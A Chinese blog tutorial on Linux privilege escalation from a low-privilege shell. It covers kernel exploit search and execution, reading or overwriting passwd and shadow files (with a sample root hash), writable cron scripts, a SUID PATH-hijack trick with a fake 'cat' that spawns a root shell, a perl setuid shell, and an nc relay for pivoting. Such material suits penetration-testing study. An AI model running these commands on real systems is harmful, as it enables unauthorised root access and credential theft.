几点前提

已经拿到低权shell

被入侵的机器上面有nc,python,perl等linux非常常见的工具

有权限上传文件和下载文件

内核漏洞提权

提到脏牛,运维流下两行眼泪,我们留下两行鼻血。内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。

查看发行版

cat /etc/issue
cat /etc/*-release

查看内核版本

uname -a

这里我找了台机器测试:

#uname -a
Linux xxxxx 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux#cat /etc/*-release
DISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS"

这样,我们就得到了系统的内核版本(2.6.32-21 pae),cpu架构(i686),和发行版(ubuntu 10.04)

可以开始搜索了

大多内核漏洞通过内核版本能很快查到

用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

searchspoit linux 2.6 ubuntu priv esc

结果:

这么多,我们加入系统信息缩小范围

searchsploit linux priv esc 2.6 ubuntu 10

这样可选的exp就少多了,很无奈,我们需要漫长的点开exp看具体要求的筛选过程,大部分exp都会写清生效条件。因此我们能够虽然很气,但也很快地去掉一些不具备利用条件的exp。比如第三个exp针对一个特别的磁盘格式,排除。

经过艰难的寻找,发现15704,c很顺眼,于是把源代码上传,然后:

#gcc exp.c
#lsexp.c
a.out#./a.out
id
uid=0(root) gid=0(root)

我们先编译exp再执行。可以看到exp执行以后没输出,但是我们其实已经得到rootshell了(exp执行以后一定敲个命令,不然都不知道是成功了还是卡了)

exploitdb的搜索过程虽然繁琐,但是能基本保证不会遗漏漏洞。如果想先偷懒图个快的话,我们可以试试https://www.kernel-exploits.com/,这里的exp已经按照内核版本分类了,而且有很多已经完成了编译。

比如我们搜索2.6.32:

这个rds的binary刚巧能用。“我收集信息了,我上传exp了,我就root了。“

当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌,不再赘述。

当内核版本没有好用的exp对应的时候,可以检查磁盘格式:

cat /etc/fstab

和已经安装的程序:

dpkg -l
rpm -qa

然后进行刚刚繁琐的搜索,没准就找到个bug

最后强调利用内核漏洞的几个注意点:

1.读源码,不然可能连编译都不会

2.读源码,不然费劲编译完才发现不适用

3.读源码,不然遇到一个删全盘的”exp“怎么办

明文root密码提权

passwd和shadow

虽然遇到的概率很小,但还是提一下

大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

这里是一个典型的passwd文件

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
ibuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash

root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
daemon:*:15730:0:99999:7:::
bin:*:15730:0:99999:7:::
sys:*:15730:0:99999:7:::
sync:*:15730:0:99999:7:::
games:*:15730:0:99999:7:::
man:*:15730:0:99999:7:::
lp:*:15730:0:99999:7:::
mail:*:15730:0:99999:7:::
news:*:15730:0:99999:7:::
uucp:*:15730:0:99999:7:::
proxy:*:15730:0:99999:7:::
www-data:*:15730:0:99999:7:::
backup:*:15730:0:99999:7:::
list:*:15730:0:99999:7:::
irc:*:15730:0:99999:7:::
gnats:*:15730:0:99999:7:::
nobody:*:15730:0:99999:7:::
libuuid:!:15730:0:99999:7:::
syslog:*:15730:0:99999:7:::
mysql:!:15730:0:99999:7:::
dovecot:*:15730:0:99999:7:::
sshd:*:15730:0:99999:7:::
postfix:*:15730:0:99999:7:::

shell命令来检查权限

cd /etc
ls -l passwd shadow

如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

and then?

有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

 python -c 'import pty;pty.spawn("/bin/sh")'

就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了。

python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
sudo su
[sudo] password for www-data: 123456
Sorry, try again.
[sudo] password for www-data:

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

ls -l /etc/cron*

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。

SUID

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。比如passwd命令,就是以root权限运行来修改shadow的。

这里我们做个实验(环境为ubuntu 16.04):

c源代码

#include<stdlib.h>
#include <unistd.h>int main(){
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}

以root进行编译和权限设置

gcc suid.c  -o suid-exp
chmod 4755 ./suid-exp#这里设置了SUID位
ls -l

输出

-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp

注意s属性,表示这个程序有SUID的属性。

接下来我们切换用户并执行

su test
./suid-exp

可以看到程序实际上已经提升到了root权限。

SUID程序经常存在提权漏洞,比如nmap就曾出现过提权漏洞。低权用户通过打开nmap交互模式以root执行任意系统命令。而除了借助程序功能提权,我们还可以尝试劫持环境变量提权。上文的c程序使用了system函数,system函数是继承环境变量的,因此我们通过替换环境变量可以达到执行任意命令的效果。

我们进入test低权用户的shell

cat >> /tmp/cat <<EOF
#!/usr/bin/python
print "this is not the true cat"
print "here is a root shell!"
import pty;pty.spawn("/bin/sh")
EOF
# 这里我们在/tmp建立了假的cat,它会用python执行一个shell
PATH=/tmp:$PATH#设置PATH,优先从/tmp查找程序
./suid-exp#执行suid程序,因为PATH被劫持,system("cat /etc/shadow");会执行我们的假cat

运行结果

还有一种情况:管理员配置错误,把不带setuid(0);代码的程序配置了SUID。当这些程序被劫持的时候,我们需要自己的程序中使用setuid(0);来提权到root。这里有一个小技巧,我们用perl脚本来setuid:

#!/usr/bin/perl
$< = $>;
$( = $) = 0;
system ("/bin/sh"):

用这个简单的脚本劫持,就把shell运行在root权限下了。

网络与隐藏的服务

有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。

netstat -antup#查看各种网络服务

如果找到些神秘的服务,可以用netcat做个转发

mkfifo backpipe
nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe

之后找漏洞,攻击,从头再来。

相关工具

提了那么配置错误的利用,却没说怎么找这些错误

分享两个脚本:

unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py

这两个程序不止细致地检查了非常多的配置问题,更让人感动地列出了所有可写文件。基本上可以说他们的检查是足够全面的。

当然如果希望手动检查还是推荐 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

总结

Linux提权花样非常多,涉及的技术五花八门。写这篇文章的时候总想把相关知识都解释清楚,但是面对系统繁琐的工作过程和众多的发行版深感自己理解之浅。我很赞同在很多论坛上看到的对于linux提权的提示:你需要知道linux系统的工作方式。各种奇技淫巧或是无比脑残的错误最终都回归到了系统的运行流程和权限管理机制上面。回归本质,系统地了解系统才是保证安全的最佳方式。

linux 提权方法总结相关推荐

  1. Linux提权方法总结

    目录 内核漏洞提权 SUID提权 计划任务提权 sudo滥用提权 配置错误之利用/etc/passwd提权 当我们拿到了一台Linux服务器的低权限账号,于是,我们想要通过技术手段提权至root用户权 ...

  2. Windows和linux提权方法,Windows与Linux本地用户提权体验(一)

    无论是Windows系统还是linux系统都是基于权限控制的,其严格的用户等级和权限是系统安全的有力保证.这么严密的用户权限是否不可逾越呢?下面笔者反其道而行之进行Windows及Linux下的提权测 ...

  3. Linux怎么对当前目录提权,linux提权方法(不断总结更新)

    1.suid提权 运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行) 搜索符合条件的可以用来提权的: find / -perm -u=s -type f 2> ...

  4. Linux常用提权方法 (゚益゚メ) 渗透测试

    文章目录 简介 常用命令汇总 靶机环境 Linux提权方法 Linux提权漏洞利用 脏牛(Dirty COW)CVE-2016-5195漏洞 CVE-2019-7304漏洞 CVE-2019-1327 ...

  5. linux 提权一文通

    目录 0x001 linux提权描述 0x002 基本Linux权限提升前的信息收集 操作系统 什么是发行类型?什么版本的? 什么是内核版本?是64位吗? 从环境变量中可以收集到什么信息?环境变量中可 ...

  6. (建议收藏)万字长文,带你一文吃透 Linux 提权

    前言 关于Linux知识,博主已经整理成专栏,感兴趣的小伙伴可自行订阅专栏 Linux疑难杂症解决指南 你的支持就是我不断更新的动力! 0x001 linux提权描述 大多数计算机系统设计为可与多个用 ...

  7. Metasploit上使用RPC方式复现一个Linux提权漏洞

    序 学习了几天pwn的栈溢出知识后,收到了期待已久的任务--在metasploit上使用RPC的方式复现一个Linux提权漏洞,学长说这是一个偏向探索性质的,为了督促自己和提高效率,利用这种方式记录下 ...

  8. 20. Linux提权:从入门到放弃

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  9. LINUX提权入门手册

    前言 发点存货 LINUX权限简介 在学习提权之前我们先了解一下linux里面的权限我们使用命令: ls -al 即可查看列出文件所属的权限: 文件头前面都有一段类似的字符,下面我们仔细分析一下里面符 ...

最新文章

  1. 深度学习最新方法:随机加权平均,击败了当前最先进的Snapshot Ensembling
  2. 浅析CSS——元素重叠及position定位的z-index顺序
  3. Flutter 制作一个具有酷炫液体滑动效果的酷炫入门页面
  4. foreach 循环详解
  5. Android RecyclerView 向上偏移解决、添加自定义分割线,瀑布流,ScrollView嵌套RecyclerView滑动卡顿
  6. PyCharm光标变粗的解决办法
  7. html恢复安卓版,recovery恢复模式 进入Recovery模式前
  8. 让你少走弯路,这里有一份机器学习高效入门指南
  9. HDU1406 完数【水题】
  10. AMOS问卷数据建模前传【SPSS 052期】
  11. JAVA-初步认识-常用对象API(String类-常见功能-比较)
  12. 中国重工[601989]
  13. k3导入账套_K3金蝶维护绝密(内部技术教程)
  14. C51单片机控制蜂鸣器
  15. java-数组-数组缩减
  16. ZZULIOJ-1035,分段函数求值(Python)
  17. 分享几个搜索电子书网站
  18. 集美大学计算机毕业论文,集美大学毕业论文要求.doc
  19. 齐岳供应TCPP-Fe(3+)四羧基苯基卟啉铁;TCPP-Zn(2+)四羧基苯基卟啉锌
  20. ros moveit进行机器人末端轨迹移动

热门文章

  1. Windows自动启动程序的十大藏身之所
  2. C 语言编程 — size_t 的意义与作用
  3. G代码运行模拟软件-NC Viewer
  4. vsnprintf的作用和使用
  5. FAT16文件系统结构扇区数据分析
  6. 字符串作为freemarker模板的简单实现例子
  7. ES6标准学习: 4、数组的扩展
  8. 华为实习日记——第二十三天
  9. 炒冷饭系列:设计模式 装饰模式
  10. Google Protocol Buffer 简单介绍